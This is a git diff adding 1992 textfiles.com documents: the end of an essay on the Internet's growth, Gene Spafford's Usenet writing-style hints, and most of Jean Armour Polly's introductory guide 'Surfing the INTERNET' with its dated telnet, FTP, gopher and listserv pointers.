living from using and exploiting and teaching English, "English" as +an institution is public property, a public good. Much the same goes for the +Internet. Would English be improved if the "The English Language, Inc." had a +board of directors and a chief executive officer, or a President and a +Congress? There'd probably be a lot fewer new words in English, and a lot +fewer new ideas. + + People on the Internet feel much the same way about their own +institution. It's an institution that resists institutionalization. The +Internet belongs to everyone and no one. + + Still, its various interest groups all have a claim. Business people +want the Internet put on a sounder financial footing. Government people want +the Internet more fully regulated. Academics want it dedicated exclusively to +scholarly research. Military people want it spy-proof and secure. And so on +and so on. + + All these sources of conflict remain in a stumbling balance today, and +the Internet, so far, remains in a thrivingly anarchical condition. Once upon +a time, the NSFnet's high-speed, high-capacity lines were known as the +"Internet Backbone," and their owners could rather lord it over the rest of +the Internet; but today there are "backbones" in Canada, Japan, and Europe, +and even privately owned commercial Internet backbones specially created for +carrying business traffic. Today, even privately owned desktop computers can +become Internet nodes. You can carry one under your arm. Soon, perhaps, on +your wrist. + + But what does one *do* with the Internet? Four things, basically: mail, +discussion groups, long-distance computing, and file transfers. + + Internet mail is "e-mail," electronic mail, faster by several orders of +magnitude than the US Mail, which is scornfully known by Internet regulars as +"snailmail." Internet mail is somewhat like fax. It's electronic text. But you +don't have to pay for it (at least not directly), and it's global in scope. +E-mail can also send software and certain forms of compressed digital imagery. +New forms of mail are in the works. + + The discussion groups, or "newsgroups," are a world of their own. This +world of news, debate and argument is generally known as "USENET. " USENET is, +in point of fact, quite different from the Internet. USENET is rather like an +enormous billowing crowd of gossipy, news-hungry people, wandering in and +through the Internet on their way to various private backyard barbecues. +USENET is not so much a physical network as a set of social conventions. In +any case, at the moment there are some 2,500 separate newsgroups on USENET, +and their discussions generate about 7 million words of typed commentary every +single day. Naturally there is a vast amount of talk about computers on +USENET, but the variety of subjects discussed is enormous, and it's growing +larger all the time. USENET also distributes various free electronic journals +and publications. + + Both netnews and e-mail are very widely available, even outside the +high-speed core of the Internet itself. News and e-mail are easily available +over common phone-lines, from Internet fringe- realms like BITnet, UUCP and +Fidonet. The last two Internet services, long-distance computing and file +transfer, require what is known as "direct Internet access" -- using TCP/IP. + + Long-distance computing was an original inspiration for ARPANET and is +still a very useful service, at least for some. Programmers can maintain +accounts on distant, powerful computers, run programs there or write their +own. Scientists can make use of powerful supercomputers a continent away. +Libraries offer their electronic card catalogs for free search. Enormous +CD-ROM catalogs are increasingly available through this service. And there are +fantastic amounts of free software available. + + File transfers allow Internet users to access remote machines and +retrieve programs or text. Many Internet computers -- some two thousand of +them, so far -- allow any person to access them anonymously, and to simply +copy their public files, free of charge. This is no small deal, since entire +books can be transferred through direct Internet access in a matter of +minutes. Today, in 1992, there are over a million such public files available +to anyone who asks for them (and many more millions of files are available to +people with accounts). Internet file-transfers are becoming a new form of +publishing, in which the reader simply electronically copies the work on +demand, in any quantity he or she wants, for free. New Internet programs, such +as "archie," "gopher," and "WAIS," have been developed to catalog and explore +these enormous archives of material. + + The headless, anarchic, million-limbed Internet is spreading like +bread-mold. Any computer of sufficient power is a potential spore for the +Internet, and today such computers sell for less than $2,000 and are in the +hands of people all over the world. ARPA's network, designed to assure control +of a ravaged society after a nuclear holocaust, has been superceded by its +mutant child the Internet, which is thoroughly out of control, and spreading +exponentially through the post-Cold War electronic global village. The spread +of the Internet in the 90s resembles the spread of personal computing in the +1970s, though it is even faster and perhaps more important. More important, +perhaps, because it may give those personal computers a means of cheap, easy +storage and access that is truly planetary in scale. + + The future of the Internet bids fair to be bigger and exponentially +faster. Commercialization of the Internet is a very hot topic today, with +every manner of wild new commercial information- service promised. The federal +government, pleased with an unsought success, is also still very much in the +act. NREN, the National Research and Education Network, was approved by the US +Congress in fall 1991, as a five-year, $2 billion project to upgrade the +Internet "backbone." NREN will be some fifty times faster than the fastest +network available today, allowing the electronic transfer of the entire +Encyclopedia Britannica in one hot second. Computer networks worldwide will +feature 3-D animated graphics, radio and cellular phone-links to portable +computers, as well as fax, voice, and high- definition television. A +multimedia global circus! + + Or so it's hoped -- and planned. The real Internet of the future may +bear very little resemblance to today's plans. Planning has never seemed to +have much to do with the seething, fungal development of the Internet. After +all, today's Internet bears little resemblance to those original grim plans +for RAND's post- holocaust command grid. It's a fine and happy irony. + + How does one get access to the Internet? Well -- if you don't have a +computer and a modem, get one. Your computer can act as a terminal, and you +can use an ordinary telephone line to connect to an Internet-linked machine. +These slower and simpler adjuncts to the Internet can provide you with the +netnews discussion groups and your own e-mail address. These are services +worth having -- though if you only have mail and news, you're not actually "on +the Internet" proper. + + If you're on a campus, your university may have direct "dedicated +access" to high-speed Internet TCP/IP lines. Apply for an Internet account on +a dedicated campus machine, and you may be able to get those hot-dog +long-distance computing and file-transfer functions. Some cities, such as +Cleveland, supply "freenet" community access. Businesses increasingly have +Internet access, and are willing to sell it to subscribers. The standard fee +is about $40 a month -- about the same as TV cable service. + + As the Nineties proceed, finding a link to the Internet will become much +cheaper and easier. Its ease of use will also improve, which is fine news, for +the savage UNIX interface of TCP/IP leaves plenty of room for advancements in +user-friendliness. Learning the Internet now, or at least learning about it, +is wise. By the turn of the century, "network literacy," like "computer +literacy" before it, will be forcing itself into the very texture of your +life. + +For Further Reading: The Whole Internet Catalog & User's Guide by Ed Krol. +(1992) O'Reilly and Associates, Inc. A clear, non-jargonized introduction to +the intimidating business of network literacy. Many computer- documentation +manuals attempt to be funny. Mr. Krol's book is *actually* funny. + +The Matrix: Computer Networks and Conferencing Systems Worldwide. by John +Quarterman. Digital Press: Bedford, MA. (1990) Massive and highly technical +compendium detailing the mind-boggling scope and complexity of our newly +networked planet. + +The Internet Companion by Tracy LaQuey with Jeanne C. Ryer +(1992) Addison Wesley. Evangelical etiquette guide to the Internet featuring +anecdotal tales of life-changing Internet experiences. Foreword by Senator Al +Gore. + +Zen and the Art of the Internet: A Beginner's Guide by Brendan P. Kehoe (1992) +Prentice Hall. Brief but useful Internet guide with plenty of good advice on +useful machines to paw over for data. Mr Kehoe's guide bears the singularly +wonderful distinction of being available in electronic form free of charge. +I'm doing the same with all my F&SF Science articles, including, of course, +this one. + +[end] +-- + = Daniel Davidson = + San Francisco State University + davidson@sfsuvax1.sfsu.edu + + It is considered appropriate to sustain conditions which + are against the best interests of almost everyone. + + +-!- GEcho 1.01+ + ! Origin: Helix - A Nuclear Free Zone - Seattle - (206)783-6368 (1:343/70) + \ No newline at end of file diff --git a/textfiles.com/internet/style.txt b/textfiles.com/internet/style.txt new file mode 100644 index 00000000..3b935778 --- /dev/null +++ b/textfiles.com/internet/style.txt @@ -0,0 +1,132 @@ +From pit-manager.MIT.EDU!daemon Sun Apr 12 18:33:14 1992 remote from piraya +Received: by piraya.bad.se (1.64/waf) + via UUCP; Sun, 12 Apr 92 20:48:58 GMT + for piraya.bad.se!bozze +Received: from PIT-MANAGER.MIT.EDU by mail.swip.net (5.61+IDA/KTH/LTH/1.2) + id AAmail14676; Sun, 12 Apr 92 18:33:14 +0200 +Received: by pit-manager.MIT.EDU (5.61/2.1JIK) + id ; Sun, 12 Apr 92 12:33:06 -0400 +Date: Sun, 12 Apr 92 12:33:06 -0400 +From: Mr Background +Message-Id: <9204121633.AA06238@pit-manager.MIT.EDU> +Subject: Reply from mserv re: send usenet/news.announce.newusers/Hints_on_writing_style_for_Usenet +Reply-To: mail-server@pit-manager.mit.edu +X-Problems-To: postmaster@pit-manager.mit.edu +Precedence: bulk +To: bozze@piraya.bad.se (Bo Arnoldson) + +Xref: bloom-picayune.mit.edu news.announce.newusers:777 news.answers:605 +Path: bloom-picayune.mit.edu!snorkelwacker.mit.edu!usc!cs.utexas.edu!uunet!paladin.american.edu!gatech!purdue!spaf +From: spaf@cs.purdue.EDU (Gene Spafford) +Newsgroups: news.announce.newusers,news.answers +Subject: Hints on writing style for Usenet +Message-ID: +Date: 24 Feb 92 06:10:46 GMT +Expires: 24 Apr 92 18:10:45 GMT +Followup-To: news.newusers.questions +Organization: Dept. of Computer Sciences, Purdue Univ. +Lines: 101 +Approved: spaf@cs.purdue.EDU +Supersedes: + +Archive-name: usenet-writing-style/part1 +Original-author: ofut@hubcap.clemson.edu (A. Jeff Offutt VI) +Last-change: 30 Nov 91 by spaf@cs.purdue.edu (Gene Spafford) + +I would like to take a moment to share some of my knowledge of writing +style. If you read the suggestions below, remember: it's easy to agree +that they make sense but it's much harder to apply them. + +References: + Cunningham and Pearsall, "How to Write For the World of Work" + Strunk & White, "Elements of Style" + +The above references are both excellent books. Cunningham is a +standard in tech writing classes and won an award for the best tech +writing book from the Association for Teaching of Technical Writing. I +was lucky enough to take a class from him as an undergraduate. Strunk +is a standard in college composition classes. Other ideas here come +from my own experience on the net and hints from other people. + +This is a "long article." The rest of it is simply a list of pointers. + + Writing style: + + * Write *below* the readers' reading level. The avg. person in the US + reads at a 5th grade level (11 years of age). The avg. professional + reads at about the 12th grade level (18 years of age). + + * Keep paragraphs short and sweet. Keep sentences shorter and sweeter. + This means "concise," not cryptic. + + * White space is not wasted space -- it greatly improves clarity. + A blank line only adds a byte to the article length, so don't be + stingy if it will help make your meaning clearer. + + * Pick your words carefully. Writing with precision is as important + here as it is in any other kind of discourse. Consider carefully + whether what you have written can be misinterpreted, and whether + that is something you wish to have happen. + + + * People can only grasp about seven things at once. This means ideas in a + paragraph, major sections, etc.. + + * Avoid abbreviations and acronyms, if possible, and define the ones + you use. + + * There are several variations on any one sentence. A passive, questioning + or negative sentence takes longer to read. + + + Net style: + + * Subtlety is not communicated well in written form - especially over a + computer. + + * The above applies to humor as well. (rec.humor, of course, not included.) + + * When being especially "flame-boyant", I find it helpful to go to the + bathroom before actually sending. Then, I often change the tone + considerably. :-) Take a break before posting something in anger or that + might hurt or anger others. + + * Subject lines should be used very carefully. How much time have you + wasted reading articles with a misleading subject line? The "Subject:" + header line can be edited in all the various posting programs + (as can the "Distribution:", "Newsgroups:" and "Followup-To:" header + lines). + + * References need to be made. When you answer mail, you have the original + message fresh in your mind. When I receive your answer, I don't. + + * It's *much* easier to read a mixture of upper and lower case letters. + + * Leaving out articles (such as "the," "a," "an," etc.) for "brevity" + mangles the meaning of your sentences and takes longer to read. It saves + you time at the expense of your reader. + + * Be careful of contextual meanings of words. For instance, I used "articles" + just now. In the context of netnews, it has a different meaning than I + intended. + + * Make an effort to spell words correctly. Obvious misspellings are + jarring and distract the reader. Every news posting program allows + you to edit your article before posting, and most systems have some + kind of spelling checker program that you can use on your article. + + * Remember - this is an international network. + + * Remember - your current or future employers may be reading your + articles. So might your spouse, neighbors, children, and others + who will long-remember your gaffes. + +'Nuff said. + +These suggestions are all easily supported by arguments and research. +There's a lot more to say, but.... +-- +Gene Spafford +Software Engineering Research Center & Dept. of Computer Sciences +Purdue University, W. Lafayette IN 47907-1398 +Internet: spaf@cs.purdue.edu phone: (317) 494-7825 diff --git a/textfiles.com/internet/surfing.int b/textfiles.com/internet/surfing.int new file mode 100644 index 00000000..f520cf3b --- /dev/null +++ b/textfiles.com/internet/surfing.int @@ -0,0 +1,1526 @@ + +Surfing the INTERNET: an Introduction Version 2.0.2 December 15, 1992 + +c. 1992 Jean Armour Polly. Material quoted from other authors was compiled +from public Internet posts by those authors. No copyright claims are made +for those compiled quotes. Permission to reprint is granted for nonprofit +educational purposes. Please let me know if you find this compilation useful. +This first (much shorter) version of this appeared in the June, 1992 Wilson +Library Bulletin. Please include this entire copyright/copy notice if you +duplicate this document. Updates may be ftp'd: + +ftp nysernet.org (192.77.173.2) +login anonymous +password name@machine.node +cd /pub/resources/guides + +Please choose the most current version of surfing.the.internet. + +Please send updates and corrections to: jpolly@nysernet.org + +Today I'll travel to Minnesota, Texas, California, Cleveland, New Zealand, +Sweden, and England. I'm not frantically packing, and I won't pick up +any frequent flyer mileage. In fact, I'm sipping cocoa at my Macintosh. +My trips will be electronic, using the computer on my desk, communications +software, a modem, and a standard phone line. + +I'll be using the Internet, the global network of computers and their +interconnections, which lets me skip like a stone across oceans and +continents and control computers at remote sites. I haven't "visited" +Antarctica yet, but it is only a matter of time before a host computer +becomes available there! + +This short, non-technical article is an introduction to Internet +communications and how librarians and libraries can benefit from net +connectivity. Following will be descriptions of electronic mail, +discussion lists, electronic journals and texts, and resources available +to those willing to explore. Historical details about the building of the +Internet and technical details regarding network speed and bandwidth are +outside the scope of this piece. + + +What's Out There Anyway? + +Until you use a radio receiver, you are unaware of the wealth of +programming, music, and information otherwise invisible to you. +Computer networks are much the same. About one million people +worldwide use the Internet daily. Information packet traffic +rises by 12% each month. + +About 727,000 host computers are connected, according to a January, 1992 +report (Network Working Group Request for Comments: 1296) by Mark K. Lottor. +So, what's all the excitement about? What's zipping around in that fiber +and cable and ether, anyway? + +On my electronic adventure I browsed the online catalog at the University +Library in Liverpool, England, leaving some "Hi there from Liverpool, New +York" mail for the librarian. + +I downloaded some new Macintosh anti-virus software from Stanford's +SUMEX archive. + +Then I checked a few databases for information needed for this article, and +scanned today's news stories. + +I looked at the weather forecast for here in the East and for the San +Francisco Bay area, forwarding that information to a friend in San Jose +who would read it when he woke up. The Internet never closes! + +After that I read some electronic mail from other librarians in +Israel, Korea, England, Australia and all over the U.S. We're +exchanging information about how to keep viruses off public computers, +how to network CDROMS, and how to reink inkjet printer cartridges, +among other things. + +I monitor about twelve discussion groups. Mail sent to the group +address is distributed to all other "subscribers". It's similar to +a round-robin discussion. These are known variously as mailing lists, +discussion groups, reflectors, aliases, or listservs, depending on what +type they are and how they are driven. Subscriptions are free. + +One of these groups allows children and young adults all over the world to +communicate with each other. Kids from Cupertino to Moscow are talking +about their lives, pets, families, hope and dreams. It's interesting to see +that Nintendo is a universal language! + +Teachers exchange lesson plans and bibliographies in another group, and +schools participate in projects like the global market basket survey. +For this project, students researched what foods a typical family of four +would buy and prepare over one week's time. Their results were posted to +the global project area, where they could be compared with reports from kids +all over North and South America, India, Scandinavia, and Asia. It opened +up discussions of dietary laws, staple foods, and cultural differences. + +Other lists explore the worlds of library administration, reference, +mystery readers, romance readers, bird-watcher hotlines, cat enthusiasts, +ex-Soviet Union watchers, packet radio techies, and thousands more. +There is even a list to announce the creation of new lists! + + +The Power of the Net + +A net connection in a school is like having multiple foreign +exchange students in the classroom all the time. It promotes +active, participatory learning. Participating in a discussion +group is like being at an ongoing library conference. All the +experts are Out There, waiting to be asked. + +Want to buy a CDROM drive? Send one query and "ask" the 3,000 folks +on PACS-L (Public Access Computer Systems list) for advice. In a few +hours you'll have personal testimonies on the pros and cons of various +hardware configurations. + +Want to see if any libraries are doing anything with Total Quality Management? +Ask the members of LIBADMIN and you'll have offers of reports, studies, +personal experiences and more. How do you cope with budget cuts: personnel +layoffs or materials? Again, LIBADMIN use allows shared advice. + +Here is one story about the power of the net. At Christmas, an electronic +plea came from Ireland. "My daughter believes in Santa Claus," it began. +"And although the `My Little Pony Megan & Sundance' set has not been +made in three years, she believes Santa will prevail and she will find one +under her tree." Mom, a university professor, had called the manufacturer +in the US, but none were available. "Check around," they said, "maybe +some yet stand on store shelves." So Mom sent the call out to the net. + +Many readers began a global search for the wily Pony as part of their own +holiday shopping forays. + +Soon, another message came from Dublin. It seemed that a reader of the +original message had a father who was a high-ranking executive in the toy +company, and he had managed to acquire said pony where others had failed! + +It was duly shipped in time to save Santa's reputation. + +Part of the library's mission is to help remove barriers to accessing +information, and part of this is removing barriers between people. +One of the most interesting things about telecommunications is that +it is the Great Equalizer. It lets all kinds of computers and humans +talk to each other. The old barriers of sexism, ageism, and racism +are not present, since you can't see the person to whom you're "speaking". +You get to know the person without preconceived notions about what you +THINK he is going to say, based on visual prejudices you may have, +no matter how innocent. + +Well, almost without visual prejudice. Electronic mail is not always an +harmonic convergence of like souls adrift in the cyberspace cosmos: there +are arguments and tirades (called "flames"). Sometimes you get so used to +seeing a frequent poster's electronic signature that you know what he's +going to say before he says it! + + +Smileys + +One problem with written communication is that remarks meant to be humorous +are often lost. Without the visual body-language clues, some messages may +be misinterpreted. So a visual shorthand known as "smileys" has been +developed. There are a hundred or more variations on this theme- +:-) +That's a little smiley face. Look at it sideways. More Smiley info may +be found via anonymous ftp at many places, including the following: +ftp nic.funet.fi +cd /pub/misc/funnies/smiley.txt + +FTP is introduced later in the text. + +What a range of emotions you can show using only keyboard characters. +Besides the smiley face above, you can have :-( if you're sad, or :-< +if you're REALLY upset! ;-) is one way of showing a wink. Folks wearing +glasses might look like this online: %^). + +But for the most part, the electronic community is willing to help others. +Telecommunications helps us overcome what has been called the tyranny +of distance. We DO have a global village. + +Electronic Newsletters and Serials + +Subscribing to lists with reckless abandon can clog your mailbox and +provide a convenient black hole to vacuum up all your spare time. You +may be more interested in free subscriptions to compiled documents known +as electronic journals. These journals are automatically delivered to your +electronic door. + +There are a growing number of these. Some of the best for librarians are +listed below. To subscribe to these journals you must know how to send an +interactive message to another computer. This information is well- +documented in the resources listed at the end of this article. Telnet and +ftp +are introduced further along in this article. + + +ALCTS NETWORK NEWS +(Association for Library Collections and Technical Services) + +Various ALA news, net news, other items of interest to librarians. Send the +following message to +LISTSERV@UICVM.BITNET +SUBSCRIBE ALCTS First Name Last Name. + + +Current Cites + +Bibliography of current journal articles relating to computers, networks, +information issues, and technology. Distributed on PACS-L, or connect +remotely via +TELNET to MELVYL.UCOP.EDU (192.35.222.222); +Enter this command at the prompt: SHOW CURRENT CITES. +Further information: David F. W. Robison, drobison@library.berkeley.edu. + + +EFFector Online + +The online newsletter of the Electronic Frontier Foundation. All the hot +net issues are covered here: privacy, freedom, first amendment rights. +Join EFF to be added to the mailing list or ftp the files yourself from +ftp.eff.org (192.88.144.4) +They are in the /pub/eff and subsequent directories. + + +Hot Off the Tree (HOTT) +(Excerpts and Abstracts of Articles about Information Technology) + +TELNET MELVYL.UCOP.EDU (192.35.222.222); Enter command: +SHOW HOTT. Further information: Susan Jurist, SJURIST@UCSD.EDU. + + +Network News + +An irreverent compendium of tidbits, resources, and net factoids that is a +must for true Internet surfers. To subscribe, send the following message to + +LISTSERV@NDSUVM1.BITNET +SUBSCRIBE NNEWS First Name Last Name. +For more information: Dana Noonan at noonan@msus1.msus.edu. + +Public-Access Computer Systems News +and The Public-Access Computer Systems Review +Sent automatically to PACS-L subscribers. See above. For a list of back +issue files, send the following message to: +LISTSERV@UHUPVM1.BITNET +INDEX PACS-L + +To obtain a comprehensive list of electronic serials on all topics, send +the following commands to: +LISTSERV@UOTTAWA.BITNET +GET EJOURNL1 DIRECTRY +GET EJOURNL2 DIRECTRY +For further information, contact Michael Strangelove: +441495@ACADVM1.UOTTAWA.CA. + + +Remote Login to Internet Resources: TELNET + +One step beyond electronic mail is the ability to control a remote computer +using TELNET. This feature lets you virtually teleport anywhere on the +network and use resources located physically at that host. Further, some +hosts have gateways to other hosts, which have further gateways to still +more hosts. How can you be in two places at once? It sounds more +confusing than it is. What resources are available? Here is a sampling of +some of the fare awaiting you at several sites: + +Cleveland Free-net + +Freenets are the progeny of: +Tom Grundner, Director, +Community Telecomputing Laboratory +Case Western Reserve University +303 Wickenden Building +Cleveland, OH 44106 +216/368-2733 FAX: 216/368-5436 +Internet: aa001@cleveland.freenet.edu +BITNET: aa001%cleveland.freenet.edu@cunyvm +and the folks at: +National Public Telecomputing Network (NPTN) +Box 1987 +Cleveland, OH 44106 +216/368-2733 FAX: 216/368-5436 +Internet: aa622@cleveland.freenet.edu. + +Free-nets are built around a city metaphor, complete with schools, +hospitals, libraries, courthouses, and other public services. + + +Academy One recently held an online global simulation of a series of major +space achievements. 16 schools (from five states and four nations) +participated. Here are several of the descriptions of their projects: + +"VALKEALA HIGH SCHOOL VALKEALA ELEMENTARY SCHOOL +Valkeala, Finland (sa124@cleveland.freenet.edu) +Acting as Space Shuttle Discovery taking the Hubble Telescope into space. +These Finnish students will be in communication with students in Estonia, +relaying their reports." + +"DR. HOWARD ELEMENTARY SCHOOL Champaign, IL +(cwilliam@mars.ncsa.uiuc.edu, cdouglas@ncsa.uiuc.edu) +Dr. Howard School (25 students in 3rd/4th grade) will be simulating the +Challenger 2 launch. They are being assisted by the National Center for +Supercomputing Applications." + +"ST. JULIE BILLIART SCHOOL Hamilton, OH +(ba542@cleveland.freenet.edu) +Simulating a NASA Tracking Station in Florida. They will be +posting hourly weather reports about the conditions in Florida +around Cape Kennedy. This information is vital to the recovery +of the Friendship 7 capsule and crew. Students have taken an +interest in Space Junk and will be posting additional reports +on the various probes which were used to test the surface of +the moon and how all of that junk is now becoming a hazard to +current and future space exploration." + +Another Free-net resource is Project Hermes. This service provides +copies of Supreme Court opinions in electronic form to as wide an +audience as possible, almost as soon as they are announced. + +The Court's opinions can be sent directly to you or you may download the +files directly from any NPTN community computer system. + +The Free-nets also provide weather, news, and gateways to other resources. +To access the Cleveland Free-Net (where all this is being held) simply +telnet to: +freenet-in-a.cwru.edu 129.22.8.82 +or 129.22.8.75 +or 129.22.8.76 +or 129.22.8.44 and select "visitor" at the login menu. + + +MELVYL + +Catalog Division of Library Automation +University of California +Office of the President +300 Lakeside Drive, 8th floor, +Oakland, California 94612-3550 +415/987-0555 (MELVYL Catalog Helpline) +E-mail: lynch@postgres.berkeley.edu + +The MELVYL catalog is the union catalog of monographs and serials +(periodicals) held by the nine University of California campuses and +affiliated libraries. It represents nearly 11 million holdings at UC, +the California State Library, and the Center for Research Libraries. + +The MELVYL catalog also provides access to MEDLINE and Current +Contents as well as a gateway to many other systems. Access to some +databases is restricted under a license agreement to the University of +California faculty, staff, and students. Telnet: +MELVYL.UCOP.EDU (192.35.222.222) + + +CARL + +Colorado Alliance of Research Libraries +777 Grant +Suite 306 +Denver CO 80203-3580 +303/861-5319 +E-mail: help@carl.org + +CARL offers access to the following groups of databases: Academic and +public library online catalogs, current article indexes such as UnCover +and Magazine Index, databases such as the Academic American Encyclopedia +and Internet Resource Guide, and a gateway to other library systems. +Access to some items is limited. Telnet: +pac.carl.org (192.54.81.128) + + +MICROMUSE + +This is how Barry Kort (aka `Moulton'), Visiting Scientist at Educational +Technology Research, BBN Labs, Cambridge, MA describes MicroMuse at M.I.T. + +"MUDs (Multi-User Dimensions) or MUSEs (Multi-User Simulation +Environments) are virtual realities which offer a rich environment for +synergy, community, collaboration, and exploratory discovery." + +"Players connect to the host computer, adopt a character and personality of +their choosing, and enter into the synthetic world, consisting of a web of +connected rooms and movable props." + +"Everything (rooms, movable objects, connecting passageways, and +players) has a description (typically a few lines of text) which +are displayed when a player looks at it." + +"Actions such as picking up or dropping an object, and exiting to an +adjacent room also generate a short message appropriate to the action." + +"At MIT's AI Lab, MicroMuse features explorations, adventures, and +puzzles with redeeming social, cultural, and educational content. +The MicroMuse Science Center offers an Exploratorium and Mathematica +Exhibit complete with interactive exhibits drawn from experience with +Science Museums around the country. The Mission to Mars includes an +elaborate tour of the red planet with accurate descriptions rivaling +those found in National Geographic." + +"Elsewhere on MicroMuse, one can find an outstanding adventure based on the +children's classic Narnia; a recreation of the Wizard of Oz adventure built +by a gifted 8-year old; a challenging Logic Quest; and a living model of the +science fiction genre `The DragonRiders of Pern' by author Anne McCaffrey." + +If you would like to explore MicroMuse, you may connect as follows from +your local host computer: +telnet michael.ai.mit.edu [18.43.0.177] +login: guest [no password required] +tt [TinyTalk client program] +connect guest [Connect to MicroMuse] + +BBS.OIT.UNC.EDU + +Telnet to BBS.OIT.UNC.EDU or 152.2.22.80. +Type launch at the login message. +It's a must. Not only can you read Usenet Newsfeeds, but you can use +LibTel, a scripted telnet gateway to access both US and international +libraries plus such things as Data Research Associates Library of Congress +catalog, the Ham Radio Call Book, the National Science Foundation, the +Weather Server, Webster's dictionary and thesaurus, and more. + + +Remote Access to Files (FTP) + +FTP or File Transfer Protocol is what to use to retrieve a text file, +software, or other item from a remote host. Normal practice is to ftp +to the host you want and login as "anonymous". Some sites use the +password "guest" while others require that you put in your network +address as the password. Some popular ftp sites follow: + + +SUMEX-AIM + +This archive at Stanford (sumex-aim.stanford.edu or 36.44.0.6) houses a +plethora of Macintosh applications, utilities, graphics and sound files. + + +SIMTEL20 + +(simtel20.army.mil or 192.88.110.20) at the White Sands Missile Range in +New Mexico contains a similar archive software for MS-DOS computers. + +An FTP visit to the Network Service Center at nnsc.nsf.net (128.89.1.178) +is a gold mine of documents and training materials on net use. See further +information on this in the "Resources for Learning More" section of this +article. + + +Project Gutenberg + +The primary goal of Project Gutenberg is to encourage the creation and +distribution of electronic text. They hope to get ten thousand titles +to one hundred million users for a trillion etexts in distribution by +the end of 2001. + +Some of the many texts available now include Alice in Wonderland, +Peter Pan, Moby Dick, Paradise Lost and other texts in the public domain. +Many of these texts are availablevia ftp: + +ftp mrcnext.cso.uiuc.edu (128.174.201.12) + +cd etext/etext92 [for 1992 releases] [etext93 is available for testing now] +cd etext/etext91 [for 1991 releases] [This file should be in it] +cd etext/articles [for Project Gutenberg articles and newsletters]. +Most are also available from quake.think.com (192.31.181.1); /pub/etext, +from simtel20, and from many other sites. + +For more info try Gopher as in the following section or contact: +Michael S. Hart, Director +Project Gutenberg +National Clearinghouse for Machine Readable Texts +Illinois Benedictine College +5700 College Road +Lisle, Illinois 60532-0900 +INTERNET: dircompg@ux1.cso.uiuc.edu +CompuServe: >INTERNET:dircompg@ux1.cso.uiuc.edu +Attmail: internet!ux1.cso.uiuc.edu!dircompg +BITNET: HART@UIUCVMD + + +Travel Agents: +Archie, Gopher, Veronica, WAIS, Worldwide Web and More + +There is so much information on the net, it's impossible to know +where everything is, or even how to begin looking. Fortunately, +some computerized "agents" are in development to help sort through +the massive data libraries on the net. + + +Archie + +Peter Deutsch, of McGill's Computing Centre, describes the archie server +concept, which allows users to ask a question once yet search many +different hosts for files of interest. + +"The archie service is a collection of resource discovery tools that together +provide an electronic directory service for locating information in an +Internet environment. Originally created to track the contents of +anonymous ftp archive sites, the archie service is now being expanded to +include a variety of other online directories and resource listings." + +"Currently, archie tracks the contents of over 800 anonymous FTP archive +sites containing some 1,000,000 files throughout the Internet. Collectively, +these files represent well over 50 Gigabytes (50,000,000,000 bytes) of +information, with additional information being added daily. Anonymous ftp +archive sites offer software, data and other information which can be +copied and used without charge by anyone with connection to the Internet." + +"The archie server automatically updates the listing information from each +site about once a month, ensuring users that the information they receive +is reasonably timely, without imposing an undue load on the archive sites +or network bandwidth." + +Unfortunately the archie server at McGill is currently out of service. +Other sites are: +archie.ans.net (USA [NY]) +archie.rutgers.edu (USA [NJ]) +archie.sura.net (USA [MD]) +archie.funet.fi (Finland/Mainland Europe) +archie.au (Australia/New Zealand) +archie.doc.ic.ac.uk (Great Britain/Ireland) + +More information avaiable from: +UNIX Support Group +Computing Centre +McGill University +Room 200 +Burnside Hall +805 Sherbrooke Street West +Montreal, Quebec CANADA H3A 2K6 +514/398-3709 +peterd@cc.mcgill.ca + + +Internet Gopher +Gopher (or go-fer): someone who fetches necessary items from many locations. + +Login as gopher after you telnet to consultant.micro.umn.edu and enjoy +having a computer do all the work for you. Almost. Gopher is still in +experimental mode at many gopherized sites. Still, it is one of the best +ways to locate information on and in the Internet. + +Besides archie, the gopher at consultant.micro.umn.edu includes fun and +games, humor, libraries (including reference books such as the Hacker's +Dictionary, Roget's 1911 Thesaurus, and the CIA World Fact Book), gateways +to other US and foreign gophers, news, and gateways to other systems. + +VERONICA: Very Easy Rodent-Oriented Net-wide Index to Computerized Archives. + +Very new on the scene is VERONICA. +Here is some information from Steve Foster about it. + +"Veronica offers a keyword search of most gopher-server menus in the entire +gopher web. As Archie is to ftp archives, Veronica is to gopherspace. +Unlike Archie, the search results can connect you directly to the data source. +Imagine an Archie search that lets you select the data, not just the host +sites, directly from a menu. Because Veronica is accessed through a gopher +client, it is easy to use, and gives access to all types of data supported +by the gopher protocol." + +"Veronica was designed as a response to the problem of resource discovery +in the rapidly-expanding gopher web. Frustrated comments in the net news- +groups have recently reflected the need for such a service. Additional +motivation came from the comments of naive gopher users, several of +whom assumed that a simple-touse service would provide a means to find +resources `without having to know where they are.'" + +"The result of a Veronica search is an automatically-generated gopher +menu, customized according to the user's keyword specification. Items on +this menu may be drawn from many gopher servers. These are functional +gopher items, immediately accessible via the gopher client just double- +click to open directories, read files, or perform other searches -- across +hundreds of gopher servers. You need never know which server is actually +involved in filling your request for information. Items that are appear +particularly interesting can be saved in the user's bookmark list." + +"Notice that these are NOT full-text searches of data at gopher-server sites, +just as Archie does not index the contents of ftp sites, but only the names of +files at those sites. Veronica indexes the TITLES on all levels of the +menus, for most gopher sites in the Internet. 258 gophers are indexed by +Veronica on Nov. 17, 1992; we have discovered over 500 servers and will +index the full set in the near future. We hope that Veronica will encourage +gopher administrators to use very descriptive titles on their menus." + +"To try Veronica, select it from the `Other Gophers' menu on Minnesota's +gopher server (consultant.micro.umn.edu), or point your gopher at: +Name=Veronica (search menu items in most of GopherSpace) +Type=1 +Port=70 +Path=1/Veronica Host=futique.scs.unr.edu" + +"Veronica is an experimental service, developed by Steve Foster and +Fred Barrie at University of Nevada. As we expect that the load will +soon outgrow our hardware, we will distribute the Veronica service +across other sites in the near future." + +"Please address comments to: gophadm@futique.scs.unr.edu" + +Is this the new world order of automated librarianship? + + +WAIS + +Wide Area Information Servers (pronounced ways) allows users to +get information from a variety of hosts by means of a "client". +The user tells the client, in plain English, what to look for +out in dataspace. The client then searches various WAIS servers +around the globe. The user tells the client how relevant each hit is, +and the client can be sent out on the same quest again and again to +find new documents. Client software is available for many different +types of computers. + +WAIStation is an easy to use Macintosh implementation of a WAIS client. +It can be downloaded from think.com as well as a self-running MediaTracks +demo of WAIStation in action. Kahle also moderates a thoughtful WAIS +newsletter and discussion group, often speculating about the future of +libraries and librarians. + +Info from: Brewster Kahle, Project Leader +Wide Area Information Servers +Thinking Machines Corporation +1010 El Camino Real +Menlo Park, CA 94025 +415/329-9300 x228 +brewster@Think.COM + + +WorldWideWeb + +Tim Berners-Lee describes the Web this way: "The WWW project merges +the techniques of information 